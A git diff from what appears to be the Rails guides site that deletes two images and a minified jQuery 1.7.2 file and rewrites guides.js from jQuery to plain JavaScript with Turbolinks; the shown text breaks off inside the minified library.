--- a/guides/assets/images/tab_yellow.png
+++ /dev/null
Binary files differ
diff --git a/guides/assets/images/vijaydev.jpg b/guides/assets/images/vijaydev.jpg
deleted file mode 100644
index fe5e4f1cb4..0000000000
--- a/guides/assets/images/vijaydev.jpg
+++ /dev/null
Binary files differ
diff --git a/guides/assets/javascripts/guides.js b/guides/assets/javascripts/guides.js
index e4d25dfb21..a37f5d1927 100644
--- a/guides/assets/javascripts/guides.js
+++ b/guides/assets/javascripts/guides.js
@@ -1,53 +1,75 @@
-$.fn.selectGuide = function(guide) {
- $("select", this).val(guide);
-};
-
-var guidesIndex = {
- bind: function() {
- var currentGuidePath = window.location.pathname;
- var currentGuide = currentGuidePath.substring(currentGuidePath.lastIndexOf("/")+1);
- $(".guides-index-small").
- on("change", "select", guidesIndex.navigate).
- selectGuide(currentGuide);
- $(document).on("click", ".more-info-button", function(e){
- e.stopPropagation();
- if ($(".more-info-links").is(":visible")) {
- $(".more-info-links").addClass("s-hidden").unwrap();
- } else {
- $(".more-info-links").wrap("<div class='more-info-container'></div>").removeClass("s-hidden");
- }
+(function() {
+ "use strict";
+
+ this.syntaxhighlighterConfig = { autoLinks: false };
+
+ this.wrap = function(elem, wrapper) {
+ elem.parentNode.insertBefore(wrapper, elem);
+ wrapper.appendChild(elem);
+ }
+
+ this.unwrap = function(elem) {
+ var wrapper = elem.parentNode;
+ wrapper.parentNode.replaceChild(elem, wrapper);
+ }
+
+ this.createElement = function(tagName, className) {
+ var elem = document.createElement(tagName);
+ elem.classList.add(className);
+ return elem;
+ }
+
+ // For old browsers
+ this.each = function(node, callback) {
+ var array = Array.prototype.slice.call(node);
+ for(var i = 0; i < array.length; i++) callback(array[i]);
+ }
+
+ // Viewable on local
+ if (window.location.protocol === "file:") Turbolinks.supported = false;
+
+ document.addEventListener("turbolinks:load", function() {
+ window.SyntaxHighlighter.highlight({ "auto-links": false });
+
+ var guidesMenu = document.getElementById("guidesMenu");
+ var guides = document.getElementById("guides");
+
+ guidesMenu.addEventListener("click", function(e) {
+ e.preventDefault();
+ guides.classList.toggle("visible");
});
- $("#guidesMenu").on("click", function(e) {
- $("#guides").toggle();
- return false;
+
+ each(document.querySelectorAll("#guides a"), function(element) {
+ element.addEventListener("click", function(e) {
+ guides.classList.toggle("visible");
+ });
});
- $(document).on("click", function(e){
- e.stopPropagation();
- var $button = $(".more-info-button");
- var element;
- // Cross browser find the element that had the event
- if (e.target) element = e.target;
- else if (e.srcElement) element = e.srcElement;
+ var guidesIndexItem = document.querySelector("select.guides-index-item");
+ var currentGuidePath = window.location.pathname;
+ guidesIndexItem.value = currentGuidePath.substring(currentGuidePath.lastIndexOf("/") + 1);
- // Defeat the older Safari bug:
- // http://www.quirksmode.org/js/events_properties.html
- if (element.nodeType === 3) element = element.parentNode;
+ guidesIndexItem.addEventListener("change", function(e) {
+ if (Turbolinks.supported) {
+ Turbolinks.visit(e.target.value);
+ } else {
+ window.location = e.target.value;
+ }
+ });
- var $element = $(element);
+ var moreInfoButton = document.querySelector(".more-info-button");
+ var moreInfoLinks = document.querySelector(".more-info-links");
- var $container = $element.parents(".more-info-container");
+ moreInfoButton.addEventListener("click", function(e) {
+ e.preventDefault();
- // We've captured a click outside the popup
- if($container.length === 0){
- $container = $button.next(".more-info-container");
- $container.find(".more-info-links").addClass("s-hidden").unwrap();
+ if (moreInfoLinks.classList.contains("s-hidden")) {
+ wrap(moreInfoLinks, createElement("div", "more-info-container"));
+ moreInfoLinks.classList.remove("s-hidden");
+ } else {
+ moreInfoLinks.classList.add("s-hidden");
+ unwrap(moreInfoLinks);
}
});
- },
- navigate: function(e){
- var $list = $(e.target);
- var url = $list.val();
- window.location = url;
- }
-};
+ });
+}).call(this);
diff --git a/guides/assets/javascripts/jquery.min.js b/guides/assets/javascripts/jquery.min.js
deleted file mode 100644
index 93adea19fd..0000000000
--- a/guides/assets/javascripts/jquery.min.js
+++ /dev/null
@@ -1,4 +0,0 @@
-/*! jQuery v1.7.2 jquery.com | jquery.org/license */
-(function(a,b){function cy(a){return f.isWindow(a)?a:a.nodeType===9?a.defaultView||a.parentWindow:!1}function cu(a){if(!cj[a]){var b=c.body,d=f("<"+a+">").appendTo(b),e=d.css("display");d.remove();if(e==="none"||e===""){ck||(ck=c.createElement("iframe"),ck.frameBorder=ck.width=ck.height=0),b.appendChild(ck);if(!cl||!ck.createElement)cl=(ck.contentWindow||ck.contentDocument).document,cl.write((f.support.boxModel?"<!doctype html>":"")+"<html><body>"),cl.close();d=cl.createElement(a),cl.body.appendChild(d),e=f.css(d,"display"),b.removeChild(ck)}cj[a]=e}return cj[a]}function ct(a,b){var c={};f.each(cp.concat.apply([],cp.slice(0,b)),function(){c[this]=a});return c}function cs(){cq=b}function cr(){setTimeout(cs,0);return cq=f.now()}function ci(){try{return new a.ActiveXObject("Microsoft.XMLHTTP")}catch(b){}}function ch(){try{return new a.XMLHttpRequest}catch(b){}}function cb(a,c){a.dataFilter&&(c=a.dataFilter(c,a.dataType));var d=a.dataTypes,e={},g,h,i=d.length,j,k=d[0],l,m,n,o,p;for(g=1;g<i;g++){if(g===1)for(h in a.converters)typeof h=="string"&&(e[h.toLowerCase()]=a.converters[h]);l=k,k=d[g];if(k==="*")k=l;else if(l!=="*"&&l!==k){m=l+" "+k,n=e[m]||e["* "+k];if(!n){p=b;for(o in e){j=o.split(" ");if(j[0]===l||j[0]==="*"){p=e[j[1]+" "+k];if(p){o=e[o],o===!0?n=p:p===!0&&(n=o);break}}}}!n&&!p&&f.error("No conversion from "+m.replace(" "," to ")),n!==!0&&(c=n?n(c):p(o(c)))}}return c}function ca(a,c,d){var e=a.contents,f=a.dataTypes,g=a.responseFields,h,i,j,k;for(i in g)i in d&&(c[g[i]]=d[i]);while(f[0]==="*")f.shift(),h===b&&(h=a.mimeType||c.getResponseHeader("content-type"));if(h)for(i in e)if(e[i]&&e[i].test(h)){f.unshift(i);break}if(f[0]in d)j=f[0];else{for(i in d){if(!f[0]||a.converters[i+" "+f[0]]){j=i;break}k||(k=i)}j=j||k}if(j){j!==f[0]&&f.unshift(j);return d[j]}}function b_(a,b,c,d){if(f.isArray(b))f.each(b,function(b,e){c||bD.test(a)?d(a,e):b_(a+"["+(typeof e=="object"?b:"")+"]",e,c,d)});else if(!c&&f.type(b)==="object")for(var e in b)b_(a+"["+e+"]",b[e],c,d);else d(a,b)}function b$(a,c){var d,e,g=f.ajaxSettings.flatOptions||{};for(d in c)c[d]!==b&&((g[d]?a:e||(e={}))[d]=c[d]);e&&f.extend(!0,a,e)}function bZ(a,c,d,e,f,g){f=f||c.dataTypes[0],g=g||{},g[f]=!0;var h=a[f],i=0,j=h?h.length:0,k=a===bS,l;for(;i<j&&(k||!l);i++)l=h[i](c,d,e),typeof l=="string"&&(!k||g[l]?l=b:(c.dataTypes.unshift(l),l=bZ(a,c,d,e,l,g)));(k||!l)&&!g["*"]&&(l=bZ(a,c,d,e,"*",g));return l}function bY(a){return function(b,c){typeof b!="string"&&(c=b,b="*");if(f.isFunction(c)){var d=b.toLowerCase().split(bO),e=0,g=d.length,h,i,j;for(;e<g;e++)h=d[e],j=/^\+/.test(h),j&&(h=h.substr(1)||"*"),i=a[h]=a[h]||[],i[j?"unshift":"push"](c)}}}function bB(a,b,c){var d=b==="width"?a.offsetWidth:a.offsetHeight,e=b==="width"?1:0,g=4;if(d>0){if(c!=="border")for(;e<g;e+=2)c||(d-=parseFloat(f.css(a,"padding"+bx[e]))||0),c==="margin"?d+=parseFloat(f.css(a,c+bx[e]))||0:d-=parseFloat(f.css(a,"border"+bx[e]+"Width"))||0;return d+"px"}d=by(a,b);if(d<0||d==null)d=a.style[b];if(bt.test(d))return d;d=parseFloat(d)||0;if(c)for(;e<g;e+=2)d+=parseFloat(f.css(a,"padding"+bx[e]))||0,c!=="padding"&&(d+=parseFloat(f.css(a,"border"+bx[e]+"Width"))||0),c==="margin"&&(d+=parseFloat(f.css(a,c+bx[e]))||0);return d+"px"}function bo(a){var b=c.createElement("div");bh.appendChild(b),b.innerHTML=a.outerHTML;return b.firstChild}function bn(a){var b=(a.nodeName||"").toLowerCase();b==="input"?bm(a):b!=="script"&&typeof a.getElementsByTagName!="undefined"&&f.grep(a.getElementsByTagName("input"),bm)}function bm(a){if(a.type==="checkbox"||a.type==="radio")a.defaultChecked=a.checked}function bl(a){return typeof a.getElementsByTagName!="undefined"?a.getElementsByTagName("*"):typeof a.querySelectorAll!="undefined"?a.querySelectorAll("*"):[]}function bk(a,b){var c;b.nodeType===1&&(b.clearAttributes&&b.clearAttributes(),b.mergeAttributes&&b.mergeAttributes(a),c=b.nodeName.toLowerCase(),c==="object"?b.outerHTML=a.outerHTML:c!=="input"||a.type!=="checkbox"&&a.type!=="radio"?c==="option"?b.selected=a.defaultSelected:c==="input"||c==="textarea"?b.defaultValue=a.defaultValue:c==="script"&&b.text!==a.text&&(b.text=a.text):(a.checked&&(b.defaultChecked=b.checked=a.checked),b.value!==a.value&&(b.value=a.value)),b.removeAttribute(f.expando),b.removeAttribute("_submit_attached"),b.removeAttribute("_change_attached"))}function bj(a,b){if(b.nodeType===1&&!!f.hasData(a)){var c,d,e,g=f._data(a),h=f._data(b,g),i=g.events;if(i){delete h.handle,h.events={};for(c in i)for(d=0,e=i[c].length;d<e;d++)f.event.add(b,c,i[c][d])}h.data&&(h.data=f.extend({},h.data))}}function bi(a,b){return f.nodeName(a,"table")?a.getElementsByTagName("tbody")[0]||a.appendChild(a.ownerDocument.createElement("tbody")):a}function U(a){var b=V.split("|"),c=a.createDocumentFragment();if(c.createElement)while(b.length)c.createElement(b.pop());return c}function T(a,b,c){b=b||0;if(f.isFunction(b))return f.grep(a,function(a,d){var e=!!b.call(a,d,a);return e===c});if(b.nodeType)return f.grep(a,function(a,d){return a===b===c});if(typeof b=="string"){var d=f.grep(a,function(a){return a.nodeType===1});if(O.test(b))return f.filter(b,d,!c);b=f.filter(b,d)}return f.grep(a,function(a,d){return f.inArray(a,b)>=0===c})}function S(a){return!a||!a.parentNode||a.parentNode.nodeType===11}function K(){return!0}function J(){return!1}function n(a,b,c){var d=b+"defer",e=b+"queue",g=b+"mark",h=f._data(a,d);h&&(c==="queue"||!f._data(a,e))&&(c==="mark"||!f._data(a,g))&&setTimeout(function(){!f._data(a,e)&&!f._data(a,g)&&(f.removeData(a,d,!0),h.fire())},0)}function m(a){for(var b in a){if(b==="data"&&f.isEmptyObject(a[b]))continue;if(b!=="toJSON")return!1}return!0}function l(a,c,d){if(d===b&&a.nodeType===1){var e="data-"+c.replace(k,"-$1").toLowerCase();d=a.getAttribute(e);if(typeof d=="string"){try{d=d==="true"?!0:d==="false"?!1:d==="null"?null:f.isNumeric(d)?+d:j.test(d)?f.parseJSON(d):d}catch(g){}f.data(a,c,d)}else d=b}return d}function h(a){var b=g[a]={},c,d;a=a.split(/\s+/);for(c=0,d=a.length;c<d;c++)b[a[c]]=!0;return b}var c=a.document,d=a.navigator,e=a.location,f=function(){function J(){if(!e.isReady){try{c.documentElement.doScroll("left")}catch(a){setTimeout(J,1);return}e.ready()}}var e=function(a,b){return new e.fn.init(a,b,h)},f=a.jQuery,g=a.$,h,i=/^(?:[^#<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/,j=/\S/,k=/^\s+/,l=/\s+$/,m=/^<(\w+)\s*\/?>(?:<\/\1>)?$/,n=/^[\],:{}\s]*$/,o=/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,p=/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,q=/(?:^|:|,)(?:\s*\[)+/g,r=/(webkit)[ \/]([\w.]+)/,s=/(opera)(?:.*version)?[ \/]([\w.]+)/,t=/(msie) ([\w.]+)/,u=/(mozilla)(?:.*? rv:([\w.]+))?/,v=/-([a-z]|[0-9])/ig,w=/^-ms-/,x=function(a,b){return(b+"").toUpperCase()},y=d.userAgent,z,A,B,C=Object.prototype.toString,D=Object.prototype.hasOwnProperty,E=Array.prototype.push,F=Array.prototype.slice,G=String.prototype.trim,H=Array.prototype.indexOf,I={};e.fn=e.prototype={constructor:e,init:function(a,d,f){var g,h,j,k;if(!a)return this;if(a.nodeType){this.context=this[0]=a,this.length=1;return this}if(a==="body"&&!d&&c.body){this.context=c,this[0]=c.body,this.selector=a,this.length=1;return this}if(typeof a=="string"){a.charAt(0)!=="<"||a.charAt(a.length-1)!==">"||a.length<3?g=i.exec(a):g=[null,a,null];if(g&&(g[1]||!d)){if(g[1]){d=d instanceof e?d[0]:d,k=d?d.ownerDocument||d:c,j=m.exec(a),j?e.isPlainObject(d)?(a=[c.createElement(j[1])],e.fn.attr.call(a,d,!0)):a=[k.createElement(j[1])]:(j=e.buildFragment([g[1]],[k]),a=(j.cacheable?e.clone(j.fragment):j.fragment).childNodes);return e.merge(this,a)}h=c.getElementById(g[2]);if(h&&h.parentNode){if(h.id!==g[2])return f.find(a);this.length=1,this[0]=h}this.context=c,this.selector=a;return this}return!d||d.jquery?(d||f).find(a):this.constructor(d).find(a)}if(e.isFunction(a))return f.ready(a);a.selector!==b&&(this.selector=a.selector,this.context=a.context);return e.makeArray(a,this)},selector:"",jquery:"1.7.2",length:0,size:function(){return this.length},toArray:function(){return F.call(this,0)},get:function(a){return a==null?this.toArray():a<0?this[this.length+a]:this[a]},pushStack:function(a,b,c){var d=this.constructor();e.isArray(a)?E.apply(d,a):e.merge(d,a),d.prevObject=this,d.context=this.context,b==="find"?d.selector=this.selector+(this.selector?" ":"")+c:b&&(d.selector=this.selector+"."+b+"("+c+")");return d},each:function(a,b){return e.each(this,a,b)},ready:function(a){e.bindReady(),A.add(a);return this},eq:function(a){a=+a;return a===-1?this.slice(a):this.slice(a,a+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(F.apply(this,arguments),"slice",F.call(arguments).join(","))},map:function(a){return this.pushStack(e.map(this,function(b,c){return a.call(b,c,b)}))},end:function(){return this.prevObject||this.constructor(null)},push:E,sort:[].sort,splice:[].splice},e.fn.init.prototype=e.fn,e.extend=e.fn.extend=function(){var a,c,d,f,g,h,i=arguments[0]||{},j=1,k=arguments.length,l=!1;typeof i=="boolean"&&(l=i,i=arguments[1]||{},j=2),typeof i!="object"&&!e.isFunction(i)&&(i={}),k===j&&(i=this,--j);for(;j<k;j++)if((a=arguments[j])!=null)for(c in a){d=i[c],f=a[c];if(i===f)continue;l&&f&&(e.isPlainObject(f)||(g=e.isArray(f)))?(g?(g=!1,h=d&&e.isArray(d)?d:[]):h=d&&e.isPlainObject(d)?d:{},i[c]=e.extend(l,h,f)):f!==b&&(i[c]=f)}return i},e.extend({noConflict:function(b){a.$===e&&(a.$=g),b&&a.jQuery===e&&(a.jQuery=f);return e},isReady:!1,readyWait:1,holdReady:function(a){a?e.readyWait++:e.ready(!0)},ready:function(a){if(a===!0&&!--e.readyWait||a!==!0&&!e.isReady){if(!c.body)return setTimeout(e.ready,1);e.isReady=!0;if(a!==!0&&--e.readyWait>0)return;A.fireWith(c,[e]),e.fn.trigger&&e(c).trigger("ready").off("ready")}},bindReady:function(){if(!A){A=e.Callbacks("once memory");if(c.readyState==="complete")return setTimeout(e.ready,1);if(c.addEventListener)c.addEventListener("DOMContentLoaded",B,!1),a.addEventListener("load",e.ready,!1);else if(c.attachEvent){c.attachEvent("onreadystatechange",B),a.attachEvent("onload",e.ready);var b=!1;try{b=a.frameElement==null}catch(d){}c.documentElement.doScroll&&b&&J()}}},isFunction:function(a){return e.type(a)==="function"},isArray:Array.isArray||function(a){return e.type(a)==="array"},isWindow:function(a){return a!=null&&a==a.window},isNumeric:function(a){return!isNaN(parseFloat(a))&&isFinite(a)},type:function(a){return a==null?String(a):I[C.call(a)]||"object"},isPlainObject:function(a){if(!a||e.type(a)!=="object"||a.nodeType||e.isWindow(a))return!1;try{if(a.constructor&&!D.call(a,"constructor")&&!D.call(a.constructor.prototype,"isPrototypeOf"))return!1}catch(c){return!1}var d;for(d in a);return d===b||D.call(a,d)},isEmptyObject:function(a){for(var b in a)return!1;return!0},error:function(a){throw new Error(a)},parseJSON:function(b){if(typeof b!="string"||!b)return null;b=e.trim(b);if(a.JSON&&a.JSON.parse)return a.JSON.parse(b);if(n.test(b.replace(o,"@").replace(p,"]").replace(q,"")))return(new Function("return "+b))();e.error("Invalid JSON: "+b)},parseXML:function(c){if(typeof c!="string"||!c)return null;var d,f;try{a.DOMParser?(f=new DOMParser,d=f.parseFromString(c,"text/xml")):(d=new ActiveXObject("Microsoft.XMLDOM"),d.async="false",d.loadXML(c))}catch(g){d=b}(!d||!d.documentElement||d.getElementsByTagName("parsererror").length)&&e.error("Invalid XML: "+c);return d},noop:function(){},globalEval:function(b){b&&j.test(b)&&(a.execScript||function(b){a.eval.call(a,b)})(b)},camelCase:function(a){return a.replace(w,"ms-").replace(v,x)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toUpperCase()===b.toUpperCase()},each:function(a,c,d){var f,g=0,h=a.length,i=h===b||e.isFunction(a);if(d){if(i){for(f in a)if(c.apply(a[f],d)===!1)break}else for(;g<h;)if(c.apply(a[g++],d)===!1)break}else if(i){for(f in a)if(c.call(a[f],f,a[f])===!1)break}else for(;g<h;)if(c.call(a[g],g,a[g++])===!1)break;return a},trim:G?function(a){return a==null?"":G.call(a)}:function(a){return a==null?"":(a+"").replace(k,"").replace(l,"")},makeArray:function(a,b){var c=b||[];if(a!=null){var d=e.type(a);a.length==null||d==="string"||d==="function"||d==="regexp"||e.isWindow(a)?E.call(c,a):e.merge(c,a)}return c},inArray:function(a,b,c){var d;if(b){if(H)return H.call(b,a,c);d=b.length,c=c?c<0?Math.max(0,d+c):c:0;for(;c<d;c++)if(c in b&&b[c]===a)return c}return-1},merge:function(a,c){var d=a.length,e=0;if(typeof c.length=="number")for(var f=c.length;e<f;e++)a[d++]=c[e];else while(c[e]!==b)a[d++]=c[e++];a.length=d;return a},grep:function(a,b,c){var d=[],e;c=!!c;for(var f=0,g=a.length;f<g;f++)e=!!b(a[f],f),c!==e&&d.push(a[f]);return d},map:function(a,c,d){var f,g,h=[],i=0,j=a.length,k=a instanceof e||j!==b&&typeof j=="number"&&(j>0&&a[0]&&a[j-1]||j===0||e.isArray(a));if(k)for(;i<j;i++)f=c(a[i],i,d),f!=null&&(h[h.length]=f);else for(g in a)f=c(a[g],g,d),f!=null&&(h[h.length]=f);return h.concat.apply([],h)},guid:1,proxy:function(a,c){if(typeof c=="string"){var d=a[c];c=a,a=d}if(!e.isFunction(a))return b;var f=F.call(arguments,2),g=function(){return a.apply(c,f.concat(F.call(arguments)))};g.guid=a.guid=a.guid||g.guid||e.guid++;return g},access:function(a,c,d,f,g,h,i){var j,k=d==null,l=0,m=a.length;if(d&&typeof d=="object"){for(l in d)e.access(a,c,l,d[l],1,h,f);g=1}else if(f!==b){j=i===b&&e.isFunction(f),k&&(j?(j=c,c=function(a,b,c){return j.call(e(a),c)}):(c.call(a,f),c=null));if(c)for(;l<m;l++)c(a[l],d,j?f.call(a[l],l,c(a[l],d)):f,i);g=1}return g?a:k?c.call(a):m?c(a[0],d):h},now:function(){return(new Date).getTime()},uaMatch:function(a){a=a.toLowerCase();var b=r.exec(a)||s.exec(a)||t.exec(a)||a.indexOf("compatible")<0&&u.exec(a)||[];return{browser:b[1]||"",version:b[2]||"0"}},sub:function(){function a(b,c){return new a.fn.init(b,c)}e.extend(!0,a,this),a.superclass=this,a.fn=a.prototype=this(),a.fn.constructor=a,a.sub=this.sub,a.fn.init=function(d,f){f&&f instanceof e&&!(f instanceof a)&&(f=a(f));return e.fn.init.call(this,d,f,b)},a.fn.init.prototype=a.fn;var b=a(c);return a},browser:{}}),e.each("Boolean Number String Function Array Date RegExp Object".split(" "),function(a,b){I["[object "+b+"]"]=b.toLowerCase()}),z=e.uaMatch(y),z.browser&&(e.browser[z.browser]=!0,e.browser.version=z.version),e.browser.webkit&&(e.browser.safari=!0),j.test(" ")&&(k=/^[\s\xA0]+/,l=/[\s\xA0]+$/),h=e(c),c.addEventListener?B=function(){c.removeEventListener("DOMContentLoaded",B,!1),e.ready()}:c.attachEvent&&(B=function(){c.readyState==="complete"&&(c.detachEvent("onreadystatechange",B),e.ready())});return e}(),g={};f.Callbacks=function(a){a=a?g[a]||h(a):{};var c=[],d=[],e,i,j,k,l,m,n=function(b){var d,e,g,h,i;for(d=0,e=b.length;d<e;d++)g=b[d],h=f.type(g),h==="array"?n(g):h==="function"&&(!a.unique||!p.has(g))&&c.push(g)},o=function(b,f){f=f||[],e=!a.memory||[b,f],i=!0,j=!0,m=k||0,k=0,l=c.length;for(;c&&m<l;m++)if(c[m].apply(b,f)===!1&&a.stopOnFalse){e=!0;break}j=!1,c&&(a.once?e===!0?p.disable():c=[]:d&&d.length&&(e=d.shift(),p.fireWith(e[0],e[1])))},p={add:function(){if(c){var a=c.length;n(arguments),j?l=c.length:e&&e!==!0&&(k=a,o(e[0],e[1]))}return this},remove:function(){if(c){var b=arguments,d=0,e=b.length;for(;d<e;d++)for(var f=0;f<c.length;f++)if(b[d]===c[f]){j&&f<=l&&(l--,f<=m&&m--),c.splice(f--,1);if(a.unique)break}}return this},has:function(a){if(c){var b=0,d=c.length;for(;b<d;b++)if(a===c[b])return!0}return!1},empty:function(){c=[];return this},disable:function(){c=d=e=b;return this},disabled:function(){return!c},lock:function(){d=b,(!e||e===!0)&&p.disable();return this},locked:function(){return!d},fireWith:function(b,c){d&&(j?a.once||d.push([b,c]):(!a.once||!e)&&o(b,c));return this},fire:function(){p.fireWith(this,arguments);return this},fired:function(){return!!i}};return p};var i=[].slice;f.extend({Deferred:function(a){var b=f.Callbacks("once memory"),c=f.Callbacks("once memory"),d=f.Callbacks("memory"),e="pending",g={resolve:b,reject:c,notify:d},h={done:b.add,fail:c.add,progress:d.add,state:function(){return e},isResolved:b.fired,isRejected:c.fired,then:function(a,b,c){i.done(a).fail(b).progress(c);return this},always:function(){i.done.apply(i,arguments).fail.apply(i,arguments);return this},pipe:function(a,b,c){return f.Deferred(function(d){f.each({done:[a,"resolve"],fail:[b,"reject"],progress:[c,"notify"]},function(a,b){var c=b[0],e=b[1],g;f.isFunction(c)?i[a](function(){g=c.apply(this,arguments),g&&f.isFunction(g.promise)?g.promise().then(d.resolve,d.reject,d.notify):d[e+"With"](this===i?d:this,[g])}):i[a](d[e])})}).promise()},promise:function(a){if(a==null)a=h;else for(var b in h)a[b]=h[b];return a}},i=h.promise({}),j;for(j in g)i[j]=g[j].fire,i[j+"With"]=g[j].fireWith;i.done(function(){e="resolved"},c.disable,d.lock).fail(function(){e="rejected"},b.disable,d.lock),a&&a.call(i,i);return i},when:function(a){function m(a){return function(b){e[a]=arguments.length>1?i.call(arguments,0):b,j.notifyWith(k,e)}}function l(a){return function(c){b[a]=arguments.length>1?i.call(arguments,0):c,--g||j.resolveWith(j,b)}}var b=i.call(arguments,0),c=0,d=b.length,e=Array(d),g=d,h=d,j=d<=1&&a&&f.isFunction(a.promise)?a:f.Deferred(),k=j.promise();if(d>1){for(;c<d;c++)b[c]&&b[c].promise&&f.isFunction(b[c].promise)?b[c].promise().then(l(c),j.reject,m(c)):--g;g||j.resolveWith(j,b)}else j!==a&&j.resolveWith(j,d?[a]:[]);return k}}),f.support=function(){var b,d,e,g,h,i,j,k,l,m,n,o,p=c.createElement("div"),q=c.documentElement;p.setAttribute("className","t"),p.innerHTML=" <link/><table></table><a href='/a' style='top:1px;float:left;opacity:.55;'>a</a><input type='checkbox'/>",d=p.getElementsByTagName("*"),e=p.getElementsByTagName("a")[0];if(!d||!d.length||!e)return{};g=c.createElement("select"),h=g.appendChild(c.createElement("option")),i=p.getElementsByTagName("input")[0],b={leadingWhitespace:p.firstChild.nodeType===3,tbody:!p.getElementsByTagName("tbody").length,htmlSerialize:!!p.getElementsByTagName("link").length,style:/top/.test(e.getAttribute("style")),hrefNormalized:e.getAttribute("href")==="/a",opacity:/^0.55/.test(e.style.opacity),cssFloat:!!e.style.cssFloat,checkOn:i.value==="on",optSelected:h.selected,getSetAttribute:p.className!=="t",enctype:!!c.createElement("form").enctype,html5Clone:c.createElement("nav").cloneNode(!0).outerHTML!=="<:nav></:nav>",submitBubbles:!0,changeBubbles:!0,focusinBubbles:!1,deleteExpando:!0,noCloneEvent:!0,inlineBlockNeedsLayout:!1,shrinkWrapBlocks:!1,reliableMarginRight:!0,pixelMargin:!0},f.boxModel=b.boxModel=c.compatMode==="CSS1Compat",i.checked=!0,b.noCloneChecked=i.cloneNode(!0).checked,g.disabled=!0,b.optDisabled=!h.disabled;try{delete p.test}catch(r){b.deleteExpando=!1}!p.addEventListener&&p.attachEvent&&p.fireEvent&&(p.attachEvent("onclick",function(){b.noCloneEvent=!1}),p.cloneNode(!0).fireEvent("onclick")),i=c.createElement("input"),i.value="t",i.setAttribute("type","radio"),b.radioValue=i.value==="t",i.setAttribute("checked","checked"),i.setAttribute("name","t"),p.appendChild(i),j=c.createDocumentFragment(),j.appendChild(p.lastChild),b.checkClone=j.cloneNode(!0).cloneNode(!0).lastChild.checked,b.appendChecked=i.checked,j.removeChild(i),j.appendChild(p);if(p.attachEvent)for(n in{submit:1,change:1,focusin:1})m="on"+n,o=m in p,o||(p.setAttribute(m,"return;"),o=typeof p[m]=="function"),b[n+"Bubbles"]=o;j.removeChild(p),j=g=h=p=i=null,f(function(){var d,e,g,h,i,j,l,m,n,q,r,s,t,u=c.getElementsByTagName("body")[0];!u||(m=1,t="padding:0;margin:0;border:",r="position:absolute;top:0;left:0;width:1px;height:1px;",s=t+"0;visibility:hidden;",n="style='"+r+t+"5px solid #000;",q="<div "+n+"display:block;'><div style='"+t+"0;display:block;overflow:hidden;'></div></div>"+"<table "+n+"' cellpadding='0' cellspacing='0'>"+"<tr><td></td></tr></table>",d=c.createElement("div"),d.style.cssText=s+"width:0;height:0;position:static;top:0;margin-top:"+m+"px",u.insertBefore(d,u.firstChild),p=c.createElement("div"),d.appendChild(p),p.innerHTML="<table><tr><td style='"+t+"0;display:none'></td><td>t</td></tr></table>",k=p.getElementsByTagName("td"),o=k[0].offsetHeight===0,k[0].style.display="",k[1].style.display="none",b.reliableHiddenOffsets=o&&k[0].offsetHeight===0,a.getComputedStyle&&(p.innerHTML="",l=c.createElement("div"),l.style.width="0",l.style.marginRight="0",p.style.width="2px",p.appendChild(l),b.reliableMarginRight=(parseInt((a.getComputedStyle(l,null)||{marginRight:0}).marginRight,10)||0)===0),typeof p.style.zoom!="undefined"&&(p.innerHTML="",p.style.width=p.style.padding="1px",p.style.border=0,p.style.overflow="hidden",p.style.display="inline",p.style.zoom=1,b.inlineBlockNeedsLayout=p.offsetWidth===3,p.style.display="block",p.style.overflow="visible",p.innerHTML="<div style='width:5px;'></div>",b.shrinkWrapBlocks=p.offsetWidth!==3),p.style.cssText=r+s,p.innerHTML=q,e=p.firstChild,g=e.firstChild,i=e.nextSibling.firstChild.firstChild,j={doesNotAddBorder:g.offsetTop!==5,doesAddBorderForTableAndCells:i.offsetTop===5},g.style.position="fixed",g.style.top="20px",j.fixedPosition=g.offsetTop===20||g.offsetTop===15,g.style.position=g.style.top="",e.style.overflow="hidden",e.style.position="relative",j.subtractsBorderForOverflowNotVisible=g.offsetTop===-5,j.doesNotIncludeMarginInBodyOffset=u.offsetTop!==m,a.getComputedStyle&&(p.style.marginTop="1%",b.pixelMargin=(a.getComputedStyle(p,null)||{marginTop:0}).marginTop!=="1%"),typeof d.style.zoom!="undefined"&&(d.style.zoom=1),u.removeChild(d),l=p=d=null,f.extend(b,j))});return b}();var j=/^(?:\{.*\}|\[.*\])$/,k=/([A-Z])/g;f.extend({cache:{},uuid:0,expando:"jQuery"+(f.fn.jquery+Math.random()).replace(/\D/g,""),noData:{embed:!0,object:"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000",applet:!0},hasData:function(a){a=a.nodeType?f.cache[a[f.expando]]:a[f.expando];return!!a&&!m(a)},data:function(a,c,d,e){if(!!f.acceptData(a)){var g,h,i,j=f.expando,k=typeof c=="string",l=a.nodeType,m=l?f.cache:a,n=l?a[j]:a[j]&&j,o=c==="events";if((!n||!m[n]||!o&&!e&&!m[n].data)&&k&&d===b)return;n||(l?a[j]=n=++f.uuid:n=j),m[n]||(m[n]={},l||(m[n].toJSON=f.noop));if(typeof c=="object"||typeof c=="function")e?m[n]=f.extend(m[n],c):m[n].data=f.extend(m[n].data,c);g=h=m[n],e||(h.data||(h.data={}),h=h.data),d!==b&&(h[f.camelCase(c)]=d);if(o&&!h[c])return g.events;k?(i=h[c],i==null&&(i=h[f.camelCase(c)])):i=h;return i}},removeData:function(a,b,c){if(!!f.acceptData(a)){var d,e,g,h=f.expando,i=a.nodeType,j=i?f.cache:a,k=i?a[h]:h;if(!j[k])return;if(b){d=c?j[k]:j[k].data;if(d){f.isArray(b)||(b in d?b=[b]:(b=f.camelCase(b),b in d?b=[b]:b=b.split(" ")));for(e=0,g=b.length;e<g;e++)delete d[b[e]];if(!(c?m:f.isEmptyObject)(d))return}}if(!c){delete j[k].data;if(!m(j[k]))return}f.support.deleteExpando||!j.setInterval?delete j[k]:j[k]=null,i&&(f.support.deleteExpando?delete a[h]:a.removeAttribute?a.removeAttribute(h):a[h]=null)}},_data:function(a,b,c){return f.data(a,b,c,!0)},acceptData:function(a){if(a.nodeName){var b=f.noData[a.nodeName.toLowerCase()];if(b)return b!==!0&&a.getAttribute("classid")===b}return!0}}),f.fn.extend({data:function(a,c){var 